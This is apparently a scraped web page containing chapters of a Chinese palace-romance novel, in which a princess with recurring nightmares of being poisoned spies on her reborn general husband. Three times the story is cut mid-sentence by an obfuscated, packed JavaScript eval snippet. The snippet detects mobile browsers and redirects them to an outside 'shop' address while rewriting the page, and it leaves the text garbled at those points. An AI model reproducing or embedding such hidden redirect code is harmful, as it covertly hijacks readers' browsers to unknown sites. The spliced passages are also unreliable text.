再者说,倘若有人欲加害于她,也正好打出这招引蛇出洞,毕竟刺客的线索全断了,此招虽险,但聊胜于无。 “无妨,归宁只是回宫见父皇,没什么需要准备的,至于生辰宴,有阿鸾助我,定然不会有什么差错。” “好,便全权交给初儿,我有些军务需处理,先回外院,有任何事项皆可随时通传。” 赵初禾低声回应,待萧冽走远,她立马遣退众人,唯留阿鸾一人侍奉左右,“将军那边,可有查到什么眉目?” 阿鸾只是淡淡摇头,“公主,将军行踪实在太难刺探,更别提知晓将军查案进度,我们的人一旦跟上将军,不出一条街就会被甩开。” 闻言,赵初禾轻抿嘴角,不甚意外地叹口气,“我知道你们尽力了,萧冽太过狡猾,是我小瞧了他。” 说罢,赵初禾猛地想起了什么,眼里又燃起微光,“那有没有可疑之人入府,亦或是跟府外之人有联系,可排查清楚了?” “也没有。” “可疑的物件也没有吗?” 赵初禾瞥见阿鸾站在不远处,脑袋越来越低,便也知晓了结果,“行了行了,继续查,随时汇报。” “是!”阿鸾燃起希望,她一定不会让公主失望! “你先退下吧。” “是,公主。” 寝殿余下赵初禾一人,外头风声呼啸,让她无端想起初次梦魇之时,也是这般无助。 如此一来,线索全然断了,萧冽也好,母妃之事也罢,一切的秘密,好像都藏在了侯府。 赵初禾走入内室,抬手打开妆奁夹层,指尖触及冰凉——是萧冽那块贴身玉佩,她抚过玉佩的纹路,眸子里的光一闪。 父皇将此物赐予她,于他们二人本是定情之意,她也该回个什么物件。 只是她眼神忽明忽灭,直到最终眼底尽是冰冷,猛然将匣子合上。 定情?荒谬之谈。 —— “将军……” 赵初禾轻车熟路地来到书房,左右两旁立着的侍卫万没有拦她的胆子。自然,她也未将他们放在眼里,用不着他们替她通传。 只是指尖还未触及门板,木门发出不大的声响,已然开了一个小缝,昭示门内之人欢迎之意。 赵初禾话还没说完,便一脚踏入书房内,“这是我亲自做的姜桂茶,将军快尝尝味道。” “现下寒凉,将军征战沙场,更应当温养身子。”她跟着萧冽移步至书案,将茶盘置于桌上,显得格外殷勤。 纵使是萧冽那张无喜无愠的脸,而今也展露悦色,眉眼尽显舒展,二话没说就端起了那盏热茶,只是看到茶盏底部,赫然刻着“庆缘斋”三个小字,一时间面色挂也挂不住。 他抬头看向赵初禾,她坐在一旁,双手托腮,静等着他的反应,他轻笑一声,格外宠溺之态,“多谢初儿美意。” 话落,端起茶盏抿了一口,“如何?我煮的可还合将军口味?” 萧冽并未立马做出评价,缓缓放下手中玉盏,故作深沉地阖眸,一副品茗的样子,“嗯,当真不错,说是媲美庆缘斋也不为过。” 赵初禾好险没笑出声来,可不就是她差人去庆缘斋买来的,她哪里会做这种东西,怕是连后厨都未踏足。 “将军喜欢,初儿便多来相送,可好?” 哪里不好,萧冽恨不得将赵初禾系于腰间,如此,他行至何处便将她带于何处。 “嗯,只是初儿莫要太过操劳。” 这是同意了?竟如此简单? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393280|200341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本想着书房定能查到萧冽的秘密,若是她日日同他于书房之中,她就不信他不露出破绽。 只是怎么这般轻易的答应了?就对她一点防备之心都没有吗?是他太过自信,还是太小瞧于她? “若是无趣,大可同我说,京中各处任你游玩,只是要多带些侍卫,我好安心。”话音刚落,还未等赵初禾反应,他又补上了下半句,“罢了,但凡出府,定要让我随行。” “多谢将军关怀,我哪也不去,只愿相伴将军左右。”最后几个字几乎是从齿间挤出来的,饶是赵初禾自诩演技不错,也忍不住萧冽这般行径。 竟监视她到了如此地步,甚至不屑于隐瞒,照此下去,恐怕过几天就将她关在院子里了。 好可怕的男人。 就在赵初禾思虑如何进一步拉近关系时,外头的通传声扰了二人的清净。 “将军,传皇上口谕,镇国将军三日后巳时入南书房觐见,事出有急,不得有误。” “知道了。”萧冽持笔的动作依旧流畅,并非受到干扰,仿佛入宫在他的预料之内。 赵初禾却心有存疑,按理说初三便要归宁,如若有甚小事万不该提前通传。 是什么大事,让父皇如此? “那初儿就不打扰将军处理公务了,我回寝殿等将军。” “嗯。”萧冽头都没抬,只是在赵初禾起身之际,将热茶一饮而尽,“好茶,暖身又安心。” 萧冽意图太过明显,仿佛将她的心意放在心上,虽说这茶根本不是她做的,可她到底有些触动。 她总是听李公公说,后宫嫔妃送去父皇那的东西,其实父皇大半连看都不会看一眼,她当时只觉不值,而今才明白这种感觉。 以至于赵初禾回到寝殿,指尖还留存着茶盏的余温,眼前浮现着萧冽喝完热茶的表情,连同他眼里的光,都久久不能忘怀。 赵初禾顿感无力,一拳锤在软塌之上,这萧冽当真不好对付,莫非她即便知晓了结局也会被他摆一道? 绝对不可能! 许是她近来几天睡得好了,竟连锥心的疼痛和恨意抛之脑后,亦或是萧冽攻心计修习得太好,蛊人心神的实力太过强悍。 不过萧冽说得对,在侯府中太过无趣,除却她遣阿鸾去查案以外,确实没找到什么事由。 她静坐在软塌之上,又想到那枚银锁,要如何查起呢? 当年在母妃身边伺候的奴才,绝大部分皆被派到别的妃嫔手下,要查起来实在困难,她如今不在宫中,更是没了办法。 也就是这时,赵初禾想到了一个人,她的姑母——赵灵。 长公主赵灵,昔年驸马病逝,岁月辗转,未遇良人,便一直居于宫中。 姑母和母妃格外投缘,因着血亲关系,又多加疼爱于她,故而,她和姑母是格外亲近的,怕也只能求助于姑母了。 赵初禾想得入神,竟未察觉殿外月明星稀,已然入夜,门外传来沉稳的脚步声,“公主尚未休息。” 听到门外阿鸾对着谁说话,许是萧冽来了。 她怎么忘了! 如今她和萧冽成婚,夫妻应当是宿在一起啊! 8. 惊梦·温存皆空 屋内火盆烧得正旺,火星跳跃,噼啪作响,衬得夜色更为静谧,月光透过窗子,夹杂着丝丝寒风。 赵初禾平躺于内侧,双手安于小腹,借着一丝光亮,紧盯着上头的床帷,这个姿势维持太长时间,浑身各处僵硬至极,但她不敢动。 身旁之人的一呼一吸,一下一下地穿入耳内,至于他的体温,仿佛也顺着锦被传来,他太难让人忽略。 床榻宽六尺有余,她在上面打滚也是足够,可如今,她只觉着这床太小。 冬日的空气中夹杂着烟火气,凛冽中带着淡淡寒意,屋内因着炭火更是如此,但此刻她的鼻尖萦绕着松香气。 赵初禾阖上双眼,许是太过用力,眼皮止不住地发颤,睡不着,当真睡不着。 她认命一般,再度睁开双眼,转过身去,萧冽的面庞赫然出现在她面前。 萧冽一直没有动静,也许他睡了。 赵初禾这下没了顾虑,分外嚣张地打量起来,目光扫过他的眉弓、睫毛、鼻梁…… 也正是这时,她对上了他的眼。 其实她看不清,内室太过昏暗,月光显得微乎其微,不过她能看到他眼中的光亮。 “怎么还不睡?”萧冽唇齿微张,似是怕惊扰赵初禾一样,发出不大不小的声音。 “我睡不着。”她没有偷看人被抓包的无措,因为赵初禾确信,如此黑夜,他定不会发现她的目光。 寻常人自然不会,但赵初禾忘了,萧冽万万不是等闲之辈,行军之人,夜视能力自然也是数一数二的,别的不说,至少看到了赵初禾盯着他的眼睛看。 他感觉心跳漏了一拍。 赵初禾见对面之人久久没应,便也没了意趣,将欲转回身去,不过未等她动身,手便被覆住了。萧冽指尖触及她的手心,一圈一圈地画着。 “你这是做什么?”赵初禾眉毛一挑,语气中也不乏疑惑之意。 萧冽手上的动作没停,闭着双眼,悠悠地说,“我幼时睡不着,母亲便是这般在我手心画圈。” 赵初禾的触感在此般环境中更为敏锐,手心痒痒的,全身心都跟着他的手指走。 她的呼吸渐渐平稳下来,脊背放松,脑袋中摒弃了一切杂念。 不多时,手心的触感变得微弱,困倦之意袭来,心底却泛起丝丝寒意。 好像真的有用——这是赵初禾睡前最后一个想法。 —— “好痛……嘶……” 浸入四肢百骸的剧痛,强拽着赵初禾恢复了神智。 “这……这是何处……” 映入眼帘的木门破损不堪,下方的木板还算得上完整,竟阴湿得长了蛀洞,冷风袭来,窸窸窣窣地掉着木屑。 纵使是赵初禾近二十年的光阴里,她也从未见过这样不入流的屋子,她温热的身子,早已被这硬而发寒的地面冷透了,潮气透过单薄的衣料渗进骨缝,呼吸间都带着寒意。 是也,她身下不是软绣锦褥铺着的罗绮床,身处的也不是满是松香气的寝殿。 凭借着一番力气欲全览此地,却被抽离了全身的力气,胳膊绵软无力,她动不得半分。 她怕极了。 “父皇……快来救救儿臣……” 最后的理智濒临摧毁之际,深入灵魂的恐惧令她忆起了这处,她如何不认识屋子,她曾被困过千百次了。 即便如此,疼痛和寒冽依旧次次如故,分毫真切。 这冷屋,是她的冷狱。 “来人啊……” “阿鸾……” 她的声音哑得不成样子,用尽了全身力气发出的声音却细微到没有第二个人能够听到。 这下疼痛更甚,尤是小腹那处使得她无法忽略,下意识地伸手去探,微微隆起的弧度又是令她一惊。 她有了身孕? 只一瞬,回忆接连涌入脑海,是她强嫁于他,那个冷心冷肺,弃她于不顾的铁面将军。他早已不是她的少年郎,是她一厢情愿,午夜梦回,只有她一人空空地守着这处冷院。 什么红妆十里,天定良缘。 原来是囚笼枷锁,错付一生。 思绪抽离,冷风席卷而来,无所依仗的木门被大力拉扯着,一道颀长的身影背对着月光兀然出现在眼前,面容隐匿在阴影里,辨不清眉目,周身散发着令人不喜的气焰。 何人?赵初禾还没来得及明晰这人的身份,一道声音幽幽传来,“公主还在等谁呢?你心心念念的萧将军,怕是永远都等不到了。”刻薄又阴冷,如同淬了毒的冰锥。 不等赵初禾反应,对面的人没由来地笑了起来,冷森森的,刺得赵初禾头痛欲裂,愠怒也翻涌了上来。 “是何人……胆敢……对本宫如此无礼……” 此刻,门口的人站立着,居高临下的看她,赵初禾几乎匍匐着,贴在地面上。纵然如此局面,公主殿下也维持着摇摇欲坠的威严,怒声呵斥,却也只显露出让人心生怜爱的倔强。 “公主既已嫁入侯府,便该安分些。朝堂之事,江山之事。从来都不是你一个深宫女子能掺和的,大雍如何,早与公主。” 无关? 什么叫与她无关? 大雍如何了? 她的大雍,她父皇呕心沥血守护的江山,怎么会与她无关? 赵初禾只感胸口一热,仿佛要有一口血涌上来,滔天的怒气掩盖住了恐惧,逼得她近乎晕厥。 “父皇呢?我要见父皇!我要去找父皇!” 嘶哑的呼喊声在冷夜里终究只化作了一缕轻烟,随风消散了,赵初禾挣扎着,疯也似的欲起身出逃,最后只是徒劳。 对面之人没有应声,大步上前,冰冷的大手狠狠地捏住她的下巴,力道大得几欲将她的颌骨捏碎,另一只手不容抗拒地将一碗黑漆漆的汤药灌了进去。 那汤药又苦又腥,散发着诡异的气息,入喉便如烈火灼烧,顺着咽喉滑入腹中,胃里瞬间翻江倒海。 这是什么!! 她想反抗,想挣扎,想呼救,可浑身却像被钉死一般,动弹不得,只能怒瞪着双眼,眼睁睁地看着那碗漆黑的药,一点点被她喝了下去。 不过须臾,她口齿间充斥了腥甜,一股股黑红的血便从她嘴角疯狂涌出,闷哼一声,呛得她发颤。 血顺着下颌流出,又溅湿了前襟,染红了地面。眼前的屋子摇晃着逐渐模糊发黑,意识坠入了无底深渊。 疼痛抵达高峰之际,浑身骤然变得轻飘飘的,赵初禾像游魂一般脱离了自己的身体。 她看到自己直挺挺地躺在冰冷的地面上,面色乌青,身下涌出阵阵温热的暖流,一滩刺目的猩红在身下蔓延开来。 腹中那个尚未成型的孩儿,一点点没了声息,再也感受不到半分生机。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393281|200341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她双目圆睁,死不瞑目,眼底盛满了不甘。而对她下毒手的那人,转身离去,淡淡的来了一句,“公主莫要怪我,要怪,就怪你碍了别人的路。” 毒。 是鸩毒 “他给我灌了毒,我碍了谁的路?” 意识将散,她成了一缕飘魂,跟着灌毒之人走了几步,却被那道门隔绝开来,伸手去拽,指尖却穿透了门板。 她顺着生蛀的门洞看去,本该一片漆黑的院落充斥着火光,无数穿着甲胄拿着火把的士兵往这处聚集,须臾间,小院里便堆满了人,光亮让赵初禾好容易看清了为首那人的脸。 是萧冽!萧冽带着兵! 还是如此庞大的数量,萧冽……反了? “萧冽——!” 赵初禾惊呼着从床上弹坐起来,双手紧紧地抓住身下的床褥,胸口剧烈起伏,额间覆着薄汗,几缕发丝黏在颊边,豆大的泪珠毫无预兆地砸下来,浸湿了锦被,滚烫得吓人。 天光微亮,透过窗子。 她被这个噩梦纠缠了无数次,惊醒后痛感和寒意久久不可消散,与先前不同的是,赵初禾被拥入了一个怀抱,很暖,很让人安心。 “初儿,别怕,我在。”萧冽躺在赵初禾身边也格外难耐,一夜近乎没能入眠,因此,当赵初禾被梦魇折磨的时候,他很快便发觉了。 他看到身旁之人额头满是汗珠,眉头紧锁,表情十分痛苦,嘴里嘟囔着什么,贴近了听,好像是在喊他的名字。 萧冽叫不醒她,便在一旁守着,直到赵初禾几乎是叫喊着说出他的名字,才顺势将她搂入怀中,他以为这样便会让她安定下来,可他不知道,他便是她梦魇的源泉。 怀中之人不安地乱动,“你走!我不要看到你!”赵初禾喘着粗气,双手撑着他的肩膀推搡,见萧冽纹丝不动,拳头打在他身上也绵软无力。 梦里的无力之感仿佛再度席卷而来,她不要再任人摆布,赵初禾满脸泪痕,不由分说咬住了眼前之人的肩膀,她没留一丝气力。 “嘶。”萧冽无视怀中之人的动作,只是静静地抱着她,大手轻轻地拍在她的脊背之上,承受着右肩传来的阵阵痛意,“初儿,别怕,别怕。” 可这些手段统统没奏效,怀中之人如受惊的猫儿,脊背紧绷,手还持续地用着力气,维持着极具防备的姿态,他低下身子,伸手轻探她的额头,将贴在脸颊上的湿发拂到耳后。 也是这时,他看到了赵初禾眼神中的惊惧,在看到他的一瞬间更甚。 她……怕他? 萧冽好像明白了什么,终于放开了手,待赵初禾完全脱离了他,好像真的平稳了些许。 肩头渗出丝丝血痕,他像是感觉不到疼似的,入冬时分,他只披了一件单薄的外衣,便迈出了殿门,“阿鸾,快去看看你家主子。” 小丫头得令立马跑进了屋,大抵猜到了公主兴许又是魇着了,脚步匆匆,连萧冽的话都没来得及应。 萧冽见状,眉头蹙得更紧,阿鸾什么也不问,且动作如此之急,莫非她知道? 初儿……不是第一次做噩梦吗?萧冽立在外院,纵使寒风呼啸,打透了寝衣,他也久久不愿离去。 眼前浮现着赵初禾醒来后的模样,她的抗拒,她的驱赶,乃至她眼底的惧,如同锐刀割在心口,反复凌迟。 到底是为何……她究竟为什么会怕他? 9. 忆昔·桂香藏机 “启禀将军,自三个月前,太医院的院使便频频出入昭阳殿。”书房内,萧冽拿着卷宗的手忽而放下,发出不重的声响,表情凝重地说,“可查清缘由?” 不出意外,他看着单膝跪在地上之人摇头,“属下办事不力,未曾探明其因。” “知道了,下去吧。” 屋内气压低得吓人,萧冽单手扶住额头,果然不出所料,初儿并非首次惊梦,三个月前……算算日子,他也是那时发觉自己重生,世上竟会有如此巧合之事吗? 莫非初儿也是! 不对,若是初儿真同他一样——重活一世,又怎么会怕他? 兴许是他常年征战,身上的戾气早已冲刷不净,初儿怕他,也是有缘由的。 早知如此,他便不该上什么战场,不该实现什么年少抱负。他就该安生地伴于初儿左右,好好做她的驸马。 萧冽眉头蹙得更紧,牙关紧咬,连下颌肌肉也崩得发硬,一拳砸在桌案,狼毫笔顺着宣纸掉落,染出朵朵黑梅。 —— 赵初禾静坐在妆奁前,阿鸾置于身后,灵巧地撩开鬓角的青丝,将最后几根碎发抿至耳后。“公主,当真不用找太医看看吗?” “不用,看也看不出什么,只是做了个噩梦罢了。”赵初禾眯缝着双眼,指尖在桌上轻叩,一下接着一下。 是也,赵初禾如今早已恢复了神志,不似晨间那般失态,眼里惊惧之色消失得无影无踪,她还是那个风光无限的公主,仿佛两个时辰前的一切,只是幻影。 “阿鸾,清晨你可否在屋外听到什么动静?将军出殿门之时,可有什么异常?”赵初禾终于还是问出这句话,她不敢保准她惊醒后是否有什么出格之举,又是否说了些什么,不该说的话。 阿鸾看着铜镜内,公主还是那般美艳,只是眼下好大一片乌青,她上了好几层脂粉也遮掩不住。 “回公主的话,阿鸾当时隐约听到公主大声叫喊,可没听清内容,至于将军……” “将军如何?继续说下去。”面前的小丫头支支吾吾的,更让赵初禾心提到了嗓子眼儿,“快说。” “将军连外衣都没穿好,肩上好像还渗了血。” 随着阿鸾将最后一笔花钿完成,赵初禾也像丢了魂一般倚靠在桌案之上。 难道是她顺着梦里的情景,说出了什么胡话,萧冽被他气走了,竟连外衣都来不及穿? 血?是她弄的? 赵初禾舔舐唇瓣,若隐若现的血腥味传来,好像……她咬了他。 坏了,他不会现在就把她关起来吧,万不能如此,她还什么都没查到啊! “公主,您今天戴这个步摇还是……” 阿鸾话还没说完,赵初禾猛地站起,提起厚重的裙摆抬腿往外走,“公主,您干什么去?还差一个簪子啊!” “不戴了不戴了,这个不急。”什么簪子不簪子的,这都不是要紧的,要紧的是赶紧去书房观察萧冽的反应啊! 阿鸾这个傻丫头,再晚一步她们主仆的小命都不保准了! 赵初禾头也不抬,头上的流苏摇摇晃晃,脚踩着绣花鞋步履生风,阿鸾在后头追也追不上,“公主,您慢点,别着凉了,把这件大衣穿上再走。” 哪里顾得上这个,“阿鸾你别跟着我了,我马上就回……唔……”她好像撞在了一堵墙上,连忙心疼地揉了揉鼻头,未等她反应,上方便传来了声响,“这么急着去哪?” 是萧冽! 赵初禾好容易掩住了眼底的讶异,装做什么都未发生过一般,“将军,您怎么来了?” 他绕开赵初禾,冲着阿鸾走去,“将军,将军,你做什么?有事冲我来,莫要牵连于她……” 她还想继续说下去,说阿鸾什么都不知道,是无辜的,可是萧冽走到了阿鸾跟前,只是……拿过了那件狐裘。 “天气寒凉,去哪也要穿好衣服,莫要让我忧心。”厚重的裘衣盖在她身上,赵初禾楞楞地看着他。 萧冽动作自然地让人生疑,他伸手拢好裘领,将腰间的软带系成了同心结的样式,好像做过了千百遍的模样。 而后,赵初禾又眼睁睁地看着萧冽变戏法般,拿出了一个油纸包,“这桂花糕,是我方才出府买来的,不知初儿如今可还喜欢,你受了惊,吃点甜的会好些吗?” 桂花糕,她自然喜欢。 八岁,赵初禾欢喜的拿着父皇赐给她的芸豆卷,蹦蹦跳跳地走在路上,怎料半路被人拦下,萧冽这小子顺手就拿走了,任她怎么闹也不肯归还。 赵初禾只记得,她当时气得直跺脚,一股风似的跑回寝殿,发誓再也不理萧冽。 谁知道,过了一个时辰,那个熟悉的身影便出现在昭阳殿内,手里还神神秘秘地拿着什么。 她气极,不愿理他,萧冽却将东西拿到她眼前,他笑得很好看,露出了两个小虎牙,“惹了你生气,是我不该,这是我特意跑到庆缘斋排了好久队才买来的,你能否原谅我呀?” 眼前之人笑得格外恳切,赵初禾忍不住心软,“这是什么?还有,昭阳殿戒备森严,你怎么进来的?” 眼瞅着事情有了转机,萧冽连忙说,“我翻墙进来的啊,你那几个侍卫好骗得很。先别说这个了,这是桂花糕啊!这是全京城,不,全世界最好吃的东西,你要不要尝尝?” 萧冽说话时挺直了腰杆,好像并未觉着翻墙是什么不光彩的事情,分外骄傲。 赵初禾无奈,面带怀疑地接过,米白色里映出几个黄瓣,扑面而来的就是桂花香,她咬了一小口。 “好吃吗?” 她轻轻点了点头,自那之后,赵初禾最喜欢的就是桂花糕,只是自从他远赴北疆,这味道便再未尝过。 回过神来,赵初禾觉着眼睛涩涩的,阿鸾见状也识趣地退下,唯留下他们二人于殿内。 “愣着做什么,快坐下尝尝,还是小时候的味道吗?” 她看着萧冽递过来的油纸包,与记忆中的一般无二,指尖还未触及到桂花糕,她不安 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待萧冽走远,赵初禾手抓住桌边,若真是无事,何须这般急着去军营,怕是将她当做了三岁幼童。 赵初禾走出殿门,在阿鸾耳边低语,而后整理了衣襟,又大声的说,“走,我们去祖母那里请安。” “是,公主。” 祖母的院子离正院不算太远,只是一路走来略显冷清。镇远侯府人丁稀薄,满门忠烈,思虑至此,赵初禾心里难免酸酸的,不是滋味。 想来……萧冽也是因这个才反的吧。 错了,他们萧家世代镇守边疆,若是他不愿,只管向父皇请辞,万不该带兵谋反,做乱臣贼子,岂不是寒了历代萧家人为大雍流的血。 赵初禾没由来地想着,直到踏入了颐养堂才收回思绪,“初儿来了,你身子弱,便不要往祖母这跑,累着了可怎么是好?” 也不知怎的,赵初禾看到祖母便心安,“祖母,这是哪里话,晚辈哪有不来长辈跟前伺候的道理?” 萧老夫人笑了几声,眼角挤出几道细褶,“还是初禾贴心,不像萧冽那小子,小时候就会给我惹祸,如今长大了,跟我也说不上几句话。” “祖母,您要是愿意,我便天天来,将军也是心系战事,难免操劳,他没时间陪您,我来陪呀。” “好,好,若说萧冽浑身上下有个什么优点,也就是把初儿娶进门了。” 颐养堂内笑语盈盈,分外和谐,就连赵初禾也觉着这些天来的阴霾一扫而空。 直到夕阳西下,昏黄的阳光洒在屋子里,“初儿啊,时间也不早了,改日再来,你也快点回去歇息。” “是,祖母,您也好生照顾自己。” 萧老夫人一日里嘴角就没落下过,吩咐了身边的婢子,“快去送送公主。” 赵初禾走出殿门,笑容渐渐收住,方才舒展的眉眼也再度紧绷。 祖母,若是我日日前来,是否能打探到母妃的旧事? 10. 归宁·前尘待解 院内梧桐最后一叶,随风堪堪落下,在空中划出蜿蜒之迹,游鱼沉于池底,水面平静无波澜,丫鬟排成两纵,脚步轻盈地于院内忙活着。 赵初禾置于屋内,指尖轻敲红木矮桌,静待梧桐叶漂浮于池塘,百无聊赖。 只见阿鸾步入殿内,见公主请了安,而后双手轻搓着,往里头吐了口热气。“公主……” 见阿鸾柳叶弯眉又拧成了八字,她便也明了,“又什么也没查到吗?” 立在地上的小丫头没敢应声,细若蚊蚋的声音幽幽飘来,“嗯……” 赵初禾执起桌上的茶盏,欲撇清表面浮沫,可无论如何也难以看见青绿色的澄清茶液。 一切都在同她做对。 这下她不再饮茶,玉盏碰撞于木桌,发出不小的声响,“公主息怒,是奴婢办事不力。” 阿鸾面色一惊,猛地跪下身去,公主眸里的怒色骗不了人,殿内气压霎时沉了几分。 “这点小事都办不好,本宫要你们何用?”赵初禾咬紧牙关,面带愠意,好看的眉眼如今也尽是凶色。 赵初禾见阿鸾瑟瑟缩缩地跪于地上,纵使怒火中烧,如今也消了大半。 “罢了,你先起来。” 她根本不是气阿鸾,也不是气温家暗部,她是气自己。 她将一切思量得太过简单,以为世间事都该如她预料的那般进行。 实则如何? 自萧冽离府,如今已然过了五日。 不错,今日便是归宁之日,赵初禾今日起了个大早,卯时一到她翻来覆去得无法入眠。 莫非她要做第一个独自回京的公主吗?她的颜面何在?皇家颜面何在? 她的驸马,真是会下人面子,竟丝毫不带遮掩。 是不是也预示着,她离被冷落、关至冷院的日子,不远了。 不过,这不是她最在意的。 她忧心的,是派出去的人一波接着一波,可别说查到萧冽在密谋什么,连萧冽的营帐都靠近不了半步。 遑论萧冽被父皇召见说了些什么,更不得而知。 至于她呢?她日日去颐养堂,到老夫人跟前承欢膝下,可一旦提及母妃之事,祖母便笑着换了话头。 府中府外,她皆一无所获,如何教她不急! 虽说蛰伏刺探之事本就是小火慢炖,可总觉着留给她的时间不多了。 赵初禾免不得叹了口气,“阿鸾,什么时辰了?” “回公主,还有半个时辰就辰时了。”阿鸾后颈起了层薄汗,唯恐公主发作。公主回门,驸马怎能不到?这个道理连她都知晓。 赵初禾兀然起身,长袍一甩,披在身上,眼神冷极,语气平淡,听不出情绪。 “走吧,不用等他。” 阿鸾仅愣了一下,便清楚了这个“他”是谁,她不敢耽搁,小跑着跟上了公主。 “公主……”她本想好言相劝,要不再等等驸马,也许他马上就回来了,可在看到公主神色的时候,再也不敢开口了。 赵初禾被搀着行至侯府正门,远望门前停着的马车,车顶金镶雕花缠绕,门板嵌有和田美玉,窗棂玳瑁甲纹为底。 她从齿缝漏出一抹冷笑,归宁连驸马都不作陪,要这样好看的马车有何用,倒显得她强撑样子,倍感凄凉。 赵初禾走到马车跟前,挺直了脊背,扶着阿鸾的前臂,右脚踩上车櫈,她忽而停住了脚步。 阵阵马蹄声由远及近,赵初禾扭头盯着马上之人,那人长发冠起,随风飘扬,身着玄衣,英姿飒爽,是……萧冽? 正当此时,一声凄厉的马嘶响彻京城街道,骊驹气息粗重,汗透马鞍。 萧冽勒住缰绳,不待马身停稳,便单手撑鞍,纵身跃下,玄色战靴落地,一步一步地向她走来。 “你……”赵初禾此刻不知作何反应,方才的怨念也不知何处安放,素来伶牙俐齿的公主,而今不知说些什么。 “我来迟了,初儿莫怪。”萧冽说话时还微微喘着粗气,额上有层薄汗,赵初禾双眼扫至他眼下,那里好像还有一片乌青。 “嗯,莫要耽误进宫的时辰。”赵初禾纵使有百般疑惑,万千怨懑,如今也不敢将时间浪费在这,“快上马车。” 萧冽伸出小臂,赵初禾自然的扶过,上了马车,这下,方寸间氛围颇为尴尬,二人一时间也不知作何言论。 “你……” “我……” 这猝然而来的默契,令人啼笑皆非,赵初禾也不禁抿住嘴角。 “你先说。” 二人又不约而同地开口,最终萧冽败下阵来,“还是初儿先说吧,是我失信于人,想来你有很多话要问。” “将军言重了,想来是军务缠身,才误了时辰。” “嗯。” 空气好像再次凝住了,赵初禾确实想知晓他做了什么见不得人的勾当,可她知道他不会答,她也不愿和他交谈。 他就这样晾着新婚妻子,竟还想让她跟他说话。 无稽之谈。 萧冽看着对面之人连眼神都不愿给,心头有些发酸,表情也显得格外委屈,但他也深知,这是他的过错。 军营之事缠身,容不得他回府,就连公主归宁大事也险些耽搁,他真该死。 萧冽握紧双拳,抿住薄唇,像是下了什么决心一般,欲将起身挪至对面,她的身旁。 怎料马车突而停下,枪戟碰撞,外头传来禁卫严肃的声音,“无腰牌不得入内。” “将军随公主回宫,一时着急忘拿了腰牌,禁卫大哥,您通融通融。”小厮好言好语地说着,可那禁卫军严阵以待,半分情面不留。 赵初禾在车内听得烦了,见萧冽欲将起身,抬手示意他不必行动。 她清了清喉咙,压低了嗓音,用众人皆能听到的声音说,“好大的胆子,皇宫上上下下谁不知今日乃本宫归宁之日,连本宫的车都敢拦,怕是不想要自己的项上之物了。” 方才颐指气使的禁卫,而今对上了眼神,立马打开了宫门,“冒犯了公主,属下这就下去领罚,还望公主息怒。” 赵初禾轻笑,轻轻抬起下颌,脊背挺得更直。萧冽看着她猫儿一般骄傲的模样,也低下头扯起了嘴角。 方才气氛中的奇异之感蓦然消散,直待行至宫阙外,侍卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“朕听闻侯府内不太平,竟有歹人谋害公主?”殿内气氛紧张与否,全然掌握在这位皇帝手中,此刻,萧冽单膝跪于地上,“是臣监管不力,让公主至于险地,求陛下责罚。” “这是做什么,一家人不必如此,将军回京不久,想来侯府内鱼龙混杂,若是将军护不住公主,朕便派几个人手。” “如此小事,不敢劳烦陛下。” “好了,就这么定了,也好替将军分忧。”皇上语气柔和,却夹带着不容置喙的决绝。 赵初禾看着二人你一言我一语,倍感乏味,“怎么也没人问问我的意见?我还在这呢,罢了罢了,你们说吧,我去别处转转。” “也好,我和将军还有要事相商。” 赵初禾躬身行礼,嘴角勾起一丝不易察觉的笑意,“是,父皇。” 走到殿外,两旁婢女跟随,“你们不必跟着了。” “是。” 赵初禾穿过御花园,脚步越来越轻快,头上的步摇铃铛作响,寒风吹过,她却不觉寒冷,只是拢了一下衣领,整理了衣裳。 皇天不负有心人。 一路走过,两旁的木芙蓉遮扰视野,今日赵初禾难得的没有因此气恼,她双颊发红,眼底淬满了星光。 奇怪?姑母院中怎么只有几个扫地婢子,不待她走近,小丫头低身问安,“参见公主。” “姑母呢?” “回禀公主,长公主去了温林山。” 笑颜一瞬僵住,似被寒霜冻住,任由冷风掀起她的衣裳。 温林山……姑母,怎偏偏此刻去泡甚么温泉! 11. 偕行·营中初见 午时一过,赵初禾便吵着出宫,也不顾及皇上和萧冽在商讨什么大事,径直闯入内殿,将萧冽一把掳走。 “不得胡闹,归宁宴你和驸马如何能不在场?”皇上一拍桌案,连同唇上髭须轻轻发颤。 太监和宫女齐齐跪倒在地,唯有始作俑者拽着自家夫婿,一歪头,说道,“父皇莫急,天大地大,父皇最大,取消一个小小晚宴简直不在话下,儿臣甚是乏倦,便同驸马先行告退了。” 赵初禾屈膝半蹲,手交叠于腰一侧,只一瞬便起了身,“父皇,保重龙体,儿臣退下了。” 如此一来,二人打道回府,便又于马车之上,不知尴尬为何物。 “豆腐,新鲜的豆腐。” “夫人,给孩子买个糖人吧。” “娘,我错了,我再也不敢逃学了,别打了!” …… 街道两旁的声响此起彼伏,一阵阵传入马车内。两人端坐于一边,萧冽面色如常,却不敢偏头看她。 赵初禾阖眼,双手交叠置于膝上,将四下的声线尽数收入耳中,自然,也感受到了萧冽在朝她这边挪身。 赵初禾抬眸启唇,张口说道,“将军,马车这么大,怎么偏偏和初儿挤在一处?” 